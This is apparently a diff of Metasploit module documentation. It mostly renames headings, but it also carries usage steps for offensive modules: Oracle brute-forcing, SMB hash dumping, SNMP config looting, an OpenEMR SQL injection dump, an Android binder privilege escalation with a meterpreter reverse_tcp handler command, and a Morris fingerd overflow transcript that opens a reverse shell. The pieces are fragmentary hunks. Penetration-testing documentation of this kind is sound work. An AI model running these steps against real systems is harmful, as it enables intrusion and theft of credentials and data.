1. Install Oracle Database server and metasploit components
2. Start msfconsole
3. Do: ```use auxiliary/scanner/oracle/oracle_login```
4. Do: ```run```
## Options
**BLANK_PASSWORDS**
Try blank passwords for all users
**BRUTEFORCE_SPEED**
How fast to bruteforce, scale of 0 to 5
**DB_ALL_CREDS**
Try each user/password couple stored in the current database
**DB_ALL_PASS**
Add all passwords in the current database to the list to try
**DB_ALL_USERS**
Add all users in the current database to the list to try
**NMAP_VERBOSE**
Display nmap output
**PASSWORD**
Specify one password to use for all usernames
**PASS_FILE**
File of passwords, one per line.
**RHOSTS**
Target hosts, range CIDR identifier, or hosts file with syntax 'file:<path>'
**RPORTS**
Ports of the target
**SID**
Instance (SID) to authenticate against. Default `XE`
**STOP_ON_SUCCESS**
Stop the bruteforce attack when a valid combination is found
**THREADS**
Number of concurrent threads (max of one per host)
**USERNAME**
Specific username to try for all passwords
**USERPASS_FILE**
File of username and passwords, separated by space, one set per line. Default `oracle_default_userpass.txt`
**USER_AS_PASS**
Try the username as the password for all users
**USER_FILE**
File containing usernames, one per line
## Scenarios
Unfortunately due to the nmap bug mentioned above, it was not possible to create an example run.
@@ -13,7 +13,7 @@ Detects a closed port via a RST received in response to the FIN
XMAS scan requires the use of raw sockets, and thus cannot be performed from some Windows
systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
# Options
## Options
**PORTS**
@@ -34,7 +34,7 @@ Detects a closed port via a RST received in response to the FIN
Gives detailed message about the scan of all the ports. It also shows the
ports that were not open/filtered.
# Verification Steps
## Verification Steps
1. Do: `use auxiliary/scanner/portscan/xmas`
2. Do: `set RHOSTS [IP]`
@@ -42,7 +42,7 @@ Detects a closed port via a RST received in response to the FIN
4. Do: `run`
5. The open/filtered ports will be discovered, status will be printed indicating as such.
# Scenarios
## Scenarios
### Metaspliotable 2
@@ -57,7 +57,7 @@ IP, Subnetmask and Gateway are: 172.16.30.102, 255.255.0.0, 172.16.0.1
[*] Auxiliary module execution completed
```
## Module Options
## Options
```
msf auxiliary(profinet_siemens) > show options
@@ -31,7 +31,7 @@ Currently supported objects are:
module user to view the output but also causes it to be written to disk before
it is retrieved and deleted.
## Scenario
## Scenarios
```
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/dcomexec) > show options
@@ -9,7 +9,7 @@
1. Set: `RHOSTS`, `SMBUser`, `SMBPass`
1. Do: `run`, see hashes from the remote machine
## Scenario
## Scenarios
```
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > show options
@@ -18,7 +18,7 @@
module user to view the output but also causes it to be written to disk before
it is retrieved and deleted.
## Scenario
## Scenarios
```
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/wmiexec) > show options
@@ -7,7 +7,7 @@ Cambium cnPilot r200/r201 devices can be administered using SNMP. The device con
3. Do: ```set COMMUNITY public```
4. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/snmp/cnpilot_r_snmp_loot
@@ -11,7 +11,7 @@ Note: If the backup url is not retrieved, it is recommended to increase the TIME
3. Do: ```set COMMUNTY [SNMP_COMMUNUTY_STRING]```
4. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/snmp/epmp_snmp_loot
@@ -1,6 +1,6 @@
Some TLS implementations handle errors processing RSA key exchanges and encryption (PKCS #1 v1.5 messages) in a broken way that leads an adaptive chosen-chiphertext attack. Attackers cannot recover a server's private key, but they can decrypt and sign messages with it. A strong oracle occurs when the TLS server does not strictly check message formatting and needs less than a million requests on average to decode a given ciphertext. A weak oracle server strictly checks message formatting and often requires many more requests to perform the attack.
## Vulnerable Applications
## Vulnerable Application
* F5 BIG-IP 11.6.0-11.6.2 (fixed in 11.6.2 HF1), 12.0.0-12.1.2 HF1 (fixed in 12.1.2 HF2), or 13.0.0-13.0.0 HF2 (fixed in 13.0.0 HF3) (CVE 2017-6168)
* Citrix NetScaler Gateway 10.5 before build 67.13, 11.0 before build 71.22, 11.1 before build 56.19, and 12.0 before build 53.22 (CVE 2017-17382)
@@ -12,7 +12,7 @@ The following versions of SenNet Data Logger and Electricity Meters, monitoring
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/telnet/satel_cmd_exec
@@ -0,0 +1,38 @@
## Vulnerable Application
This module dials a range of phone numbers and records audio from each answered call.
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/voice/recorder`
3. Do: `set IAX_HOST [ip]`
4. Do: `set OUTPUT_PATH [path]`
5. Do: `set TARGETS [phone numbers]`
6. Do: `run`
## Scenarios
```
msf > use modules/auxiliary/scanner/voice/recorder
msf auxiliary(scanner/voice/recorder) > set IAX_HOST 10.0.183.93
IAX_HOST => 10.0.183.93
msf auxiliary(scanner/voice/recorder) > set OUTPUT_PATH /root/audio
OUTPUT_PATH => /root/voice
msf auxiliary(scanner/voice/recorder) > set TARGETS 123-456-7890
TARGETS => 123-456-7890
msf auxiliary(scanner/voice/recorder) > run
[*] Dialing 123-456-7890...
[*] Number: 123-456-7890 ringing Frames 0 DTMF ''
[*] Number: 123-456-7890 ringing Frames 0 DTMF ''
[*] Number: 123-456-7890 ringing Frames 0 DTMF ''
[*] Number: 123-456-7890 answered Frames 51 DTMF ''
[*] Number: 123-456-7890 answered Frames 101 DTMF ''
[*] Number: 123-456-7890 answered Frames 151 DTMF ''
[*] Number: 123-456-7890 answered Frames 201 DTMF ''
[*] Number: 123-456-7890 answered Frames 252 DTMF ''
[*] Number: 123-456-7890 answered Frames 302 DTMF ''
[*] Completed Number: 123-456-7890 State: hangup Frames: 302 DTMF ''
[+] 123-456-7890 resulted in 15420 bytes of audio to /root/audio/123-456-7890.raw
[*] Auxiliary module execution completed
```
@@ -1,7 +1,7 @@
Browser Autopwn 2 is a complete redesign from the first one, so quite a few things will look and
feel different for you. Here are the features you should know about before using.
## Vulnerable Applications
## Vulnerable Application
Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as:
@@ -1,4 +1,4 @@
## Introduction
## Vulnerable Application
This module exploits a SQLi vulnerability found in
OpenEMR version 5.0.1 Patch 6 and lower. The
@@ -10,18 +10,6 @@ This module saves each table as a `.csv` file in your
loot directory and has been tested with
OpenEMR 5.0.1 (3).
## Author
Will Porter (will.porter@lodestonesecurity.com) from Lodestone Security
## References
https://www.cvedetails.com/cve/CVE-2018-17179/
https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617
## Options
```
@@ -39,7 +27,7 @@ Module options (auxiliary/sqli/openemr/openemr_sqli_dump):
VHOST no HTTP server virtual host
```
## Usage
## Scenarios
This module has both `check` and `run` functions.
@@ -0,0 +1,40 @@
## Vulnerable Application
This exploit module currently targets a very specific build of Android on specific set of hardware targets:
- Google Pixel 2 or Pixel XL 2 phones running the September 2019 security patch level.
This exploit module would have to be retargeted for any other potentially vulnerable build or hardware target.
One difficult issue with the Google Pixel 2 is that, while many Google phones have an unlocked bootloader, making it easy to download older Android revisions, the latest Pixel 2 updates show this feature has been disabled or broken [older revisions to the device firmware](https://developers.google.com/android/images). This may be a firmware bug or intentional, but Google themselves do not appear to have an answer [for the problem](https://support.google.com/pixelphone/thread/14920605?hl=en). For testing, you may need a phone never updated to a later Android revision.
## Verification Steps
- Get an android meterpreter session on a Pixel 2 or Pixel XL 2 with the right kernel:
`msfconsole -qx "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost $LHOST; set lport 4444; set ExitOnSession false; run -j`
- Currently this only works on the Pixel 2 (and Pixel 2 XL) with september 2019 Security patch level. Validate the kernel version looks like this:
```
uname -a
Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
```
- Run the exploit:
```
msf5 exploit(multi/handler) > use exploit/android/local/binder_uaf
msf5 exploit(android/local/binder_uaf) > set LHOST IPADDR
msf5 exploit(android/local/binder_uaf) > set LPORT 4448 (different from your Android meterpreter port)
LPORT => 4448
msf5 exploit(android/local/binder_uaf) > set SESSION -1
SESSION => -1
msf5 exploit(android/local/binder_uaf) > run
```
- **Verify** the new session can read and write private application data (in /data/data/..../)
## Scenarios
This module illustrates a privesc that, when chained with other exploit vectors, could turn an unprivileged sandboxed exploit into a sandbox escape and system compromise. Note that the target application may need to match the kernel CPU type, so for instance a 64-bit Chrome would need to be targeted with a 64-bit kernel.
@@ -1,4 +1,4 @@
## Description
## Vulnerable Application
This module uses the su binary present on rooted devices to run a payload as root.
@@ -8,12 +8,10 @@ temporary directory, make it executable, execute it in the background, and final
On most devices the su binary will pop-up a prompt on the device asking the user for permission.
## Vulnerable Application
This module will only work on *rooted* devices. An off the shelf Android device is unlikely to be rooted, however it's possible to root a device without losing the data.
Many devices can be rooted by flashing new firmware, however the existing data will be lost.
## Verfication steps
## Scenarios
You'll first need to obtain a session on the target device. To do this follow the instructions [here](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/android/meterpreter/reverse_tcp.md)
@@ -1,10 +1,13 @@
## Introduction
## Vulnerable Application
### Description
This module exploits a stack buffer overflow in `fingerd` on 4.3BSD.
This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*.
## Setup
### Setup
A Docker environment for 4.3BSD on VAX is available at
<https://github.com/wvu/ye-olde-bsd>.
@@ -14,7 +17,7 @@ For manual setup, please follow the Computer History Wiki's
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
## Targets
### Targets
```
Id Name
@@ -22,6 +25,10 @@ Id Name
0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Options
**RPORT**
@@ -31,46 +38,43 @@ port may be forwarded when NAT (SLiRP) is used in SIMH.
**PAYLOAD**
Set this to a BSD VAX payload. Currently only
Set this to a BSD VAX payload. Currently, only
`bsd/vax/shell_reverse_tcp` is supported.
## Usage
## Scenarios
### `fingerd` 5.1 on 4.3BSD
```
msf5 exploit(bsd/finger/morris_fingerd_bof) > options
msf5 > use exploit/bsd/finger/morris_fingerd_bof
msf5 exploit(bsd/finger/morris_fingerd_bof) > show missing
Module options (exploit/bsd/finger/morris_fingerd_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
RPORT 79 yes The target port (TCP)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Payload options (bsd/vax/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85
LHOST yes The listen address (an interface may be specified)
msf5 exploit(bsd/finger/morris_fingerd_bof) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(bsd/finger/morris_fingerd_bof) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf5 exploit(bsd/finger/morris_fingerd_bof) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 127.0.0.1:79 - Connecting to fingerd
[*] 127.0.0.1:79 - Sending 533-byte buffer
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.2:51992) at 2018-09-25 10:14:15 -0500
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58015) at 2020-02-06 15:45:33 -0600
whoami
nobody
who am i
nobody tty?? Feb 6 13:45
cat /etc/motd
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986

Some files were not shown because too many files have changed in this diff Show More